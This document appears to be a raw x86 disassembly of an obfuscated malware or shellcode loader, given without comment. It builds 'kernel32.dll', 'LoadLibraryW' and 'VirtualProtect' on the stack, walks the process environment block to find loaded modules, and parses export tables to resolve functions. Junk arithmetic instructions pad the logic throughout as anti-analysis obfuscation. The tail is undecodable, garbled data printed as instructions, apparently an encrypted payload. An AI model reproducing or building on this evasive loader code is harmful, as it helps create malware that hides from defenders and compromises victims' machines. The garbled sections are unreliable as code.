call 0x406798
add byte [ebx], dh
xor eax, dword [edi + 0x3b]
dec esp
push eax
add esp, 4
pop ebx
push ebx
jmp 0x4067a2
call 0x4067ae
add byte [0x38343a36], bh
inc ebp
add esp, 4
jmp 0x4067b8
pop ebx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
push ebx
add esp, 4
or ebx, 0x15304
pop ebx
push eax
push ecx
add esp, 4
add eax, 0x10408
pop eax
push edx
sub edx, 0x1691e
sub edx, 0x12cba
pop edx
push edx
push edi
add esp, 4
xor edx, 0x6773
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push edx
add esp, 4
xor ebx, 0x193d
pop ebx
push esi
xor esi, 0x13072
pop esi
push edi
push eax
add esp, 4
or edi, 0xb393
pop edi
push edi
push ebx
add esp, 4
and edi, 0x14c9b
or edi, 0xc4ef
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x4068c5
mov dword [ebp - 0x2a8], 0
jmp 0x406b6c
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
push edi
add esp, 4
or esi, 0xb4e6
add esi, 0x1816b
xor esi, 0x5125
and esi, 0x51eb
pop esi
push eax
xor eax, 0x7cff
or eax, 0x54ed
or eax, 0x194f
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x406921
mov dword [ebp - 0x2a8], 0
jmp 0x406b6c
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push ebx
add esp, 4
and ecx, 0x8d63
add ecx, 0xba89
pop ecx
push edi
and edi, 0x4535
or edi, 0xd1c2
xor edi, 0x12b2e
pop edi
push ebx
push esi
add esp, 4
add ebx, 0x873f
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
sub ecx, 0x10544
xor ecx, 0x9ca1
and ecx, 0xa1b2
jmp 0x4069a2
pop ecx
push ecx
push eax
add esp, 4
sub ecx, 0x5c9
and ecx, 0xfe24
or ecx, 0xd643
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edi
xor edi, 0x4483
xor edi, 0x18285
add edi, 0x34e
pop edi
push ecx
xor ecx, 0x182a3
and ecx, 0x1816a
call 0x406a40
add byte [edi], dh
push eax
cmp byte [esi], bh
dec ecx
dec ebp
cmp dword [ebx + 0xf5904c4], eax
mov bh, 0x45
enter 0xffffffffffffc085, 0x75
adc eax, 0xfc8db70f
std
invalid
push ecx
and ecx, 0x15d00
sub ecx, 0x16f5
pop ecx
push eax
push ebx
add esp, 4
jmp 0x406b84
sub eax, 0xdab8
jmp 0x406b8f
pop eax
push esi
xor esi, 0x12c55
xor esi, 0x48b3
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x4074a3
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
and ecx, 0x1ad2
and ecx, 0x592a
sub ecx, 0x3839
pop ecx
push eax
push ecx
add esp, 4
jmp 0x406c65
pop eax
push edi
sub edi, 0x163be
pop edi
push esi
or esi, 0x16ca6
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
call 0x406d0a
add byte [esi + 0x45], cl
dec edi
dec edi
inc edi
inc edi
inc esp
cmp eax, 0xc483374f
add al, 0x81
invalid
push eax
push ecx
add esp, 4
and eax, 0x1ba5
sub eax, 0xef1
call 0x4074c1
add byte [ecx + eax*2 + 0x4e], cl
inc ebp
inc ebp
cmp eax, dword [ecx - 0x7d]
les eax, [eax + ebx*2]
push edx
and edx, 0x2021
pop edx
push eax
jmp 0x4074d4
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
sub edi, 0x7972
pop edi
push esi
push ecx
add esp, 4
or esi, 0x54a8
pop esi
push edi
push edx
add esp, 4
sub edi, 0x10403
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0x13245
xor ebx, 0x171b6
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x407547
mov dword [ebp - 0x2a8], 0
jmp 0x4077ee
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push eax
add esp, 4
and ecx, 0x13e7
or ecx, 0x14198
pop ecx
push ecx
add ecx, 0x5149
xor ecx, 0x10ec7
pop ecx
push ebx
push edx
add esp, 4
xor ebx, 0x17f5d
xor ebx, 0x7656
pop ebx
cmp dword [ebp - 0xc68], 0
jne 0x4075a3
mov dword [ebp - 0x2a8], 0
jmp 0x4077ee
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
push edx
add esp, 4
sub eax, 0x15f68
xor eax, 0x1326
pop eax
push edi
push ebx
add esp, 4
sub edi, 0x64f3
or edi, 0x6bad
and edi, 0xa97b
jmp 0x4075e0
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push edx
add esp, 4
and esi, 0xe0cd
sub esi, 0x9c22
sub esi, 0xd81c
pop esi
push esi
sub esi, 0x182c8
add esi, 0x10a3f
or esi, 0x3944
xor esi, 0xd530
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
push edx
add esp, 4
xor edx, 0xa536
or edx, 0x15030
jmp 0x4076aa
jmp 0x4076af
pop edx
push edi
add edi, 0x871f
pop edi
push eax
xor eax, 0xa393
xor eax, 0x5ade
pop eax
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x4076e3
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x40773d
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x40760b
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x40760b
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x407727
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x407731
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x407786
push ebx
call 0x407756
add byte [esi + edi + 0x35], al
cmp eax, dword [ebp + 0x4e]
cmp ecx, dword [esi + 0x4e]
add esp, 4
pop ebx
push ebx
push esi
add esp, 4
xor ebx, 0xe674
sub ebx, 0xa573
add ebx, 0xf29a
add ebx, 0x9f0d
pop ebx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x4077ee
push esi
push eax
add esp, 4
add esi, 0x147c5
add esi, 0x1827f
and esi, 0x12914
pop esi
push esi
add esi, 0x2fe8
and esi, 0x7371
xor esi, 0xc197
add esi, 0x2fa7
pop esi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x4077e4
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x4075af
mov dword [ebp - 0x2a8], 0
push edx
push eax
add esp, 4
or edx, 0x13a4d
sub edx, 0x935
or edx, 0x9c6b
xor edx, 0x1587c
pop edx
push eax
xor eax, 0x17269
xor eax, 0x1320f
sub eax, 0x2995
pop eax
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push eax
push esi
add esp, 4
and eax, 0xe760
pop eax
push ecx
push edi
add esp, 4
or ecx, 0xd294
pop ecx
push esi
or esi, 0x11044
pop esi
push ebx
push ecx
add esp, 4
and ebx, 0xd5dc
xor ebx, 0xb1eb
pop ebx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x407891
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407b82
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x4078b9
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407b82
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x4078eb
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x407b82
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x407910
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x407b82
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x40796a
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x407b76
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x4079da
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407a8c
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x407a8c
push edx
push edx
add esp, 4
xor edx, 0xc21
add edx, 0x55eb
or edx, 0x67a5
pop edx
push eax
push esi
add esp, 4
sub eax, 0x12b9e
pop eax
push edi
add edi, 0x12ad6
xor edi, 0x3ea3
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x407a7e
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x407a85
jmp 0x4079cb
jmp 0x407a8c
push ebx
push ebx
add esp, 4
xor ebx, 0xfb7c
pop ebx
push ebx
push ecx
add esp, 4
or ebx, 0xa568
add ebx, 0x18285
pop ebx
push esi
call 0x407aba
add byte [esi + 0x50], al
inc ebp
cmp eax, 0x4243414f
add esp, 4
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x407aeb
mov dword [ebp - 0xc6c], 0
jmp 0x407b5a
push edx
and edx, 0x14b7d
pop edx
push edi
push ebx
add esp, 4
call 0x407b05
add byte [0x3c34373d], bh
inc edi
cmp byte [ebx + 0x535f04c4], al
sub ebx, 0x133e2
xor ebx, 0x1479f
and ebx, 0x14454
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x407b50
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x407b5a
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x407b71
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x407b82
jmp 0x40795b
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push eax
jmp 0x407b95
pop eax
push ecx
push edi
add esp, 4
jmp 0x407ba4
call 0x407bb0
add byte [ebx], bh
inc ebp
inc esi
inc esp
cmp cl, byte [esi - 0x7d]
les eax, [ecx + eax*4]
jmp 0x408470
xor al, 0x92
pop es
pop es
push di
push edi
mov cl, bl
or ecx, dword [eax + 0x74882e7]
pop es
pop es
mov bh, dh
movsd dword es:[edi], dword [esi]
sbb byte [eax], cl
pop es
mov bh, cl
mov dword [0x5f070833], eax
int 0x8c
outsd dx, dword [esi]
std
push es
push es
dec esi
int 0x8c
jo 0x408412
invalid
push es
push es
insb byte es:[edi], dx
int 0x8c
jno 0x408419
invalid
push es
push es
jnp 0x4083ed
invalid
jbe 0x4083fb
invalid
dec edi
int 0x8c
jns 0x408451
invalid
push es
push es
push 0xfd7a8ccd
push es
push es
jne 0x40842c
invalid
push es
push es
insb byte es:[edi], dx
int 0x8c
jle 0x408474
invalid
push es
push es
dec esp
int 0x8c
jg 0x40847b
invalid
push es
push es
jg 0x40844f
mov word [eax + 0x5e0606fd], es
int 0x8c
cmp ebp, 0xce070606
mov word [ebx - 3], gs
push es
push es
pop es
pop es
pop es
pop es
xchg edx, eax
mov word [ebx - 0x19], ss
push es
push es
nop
invalid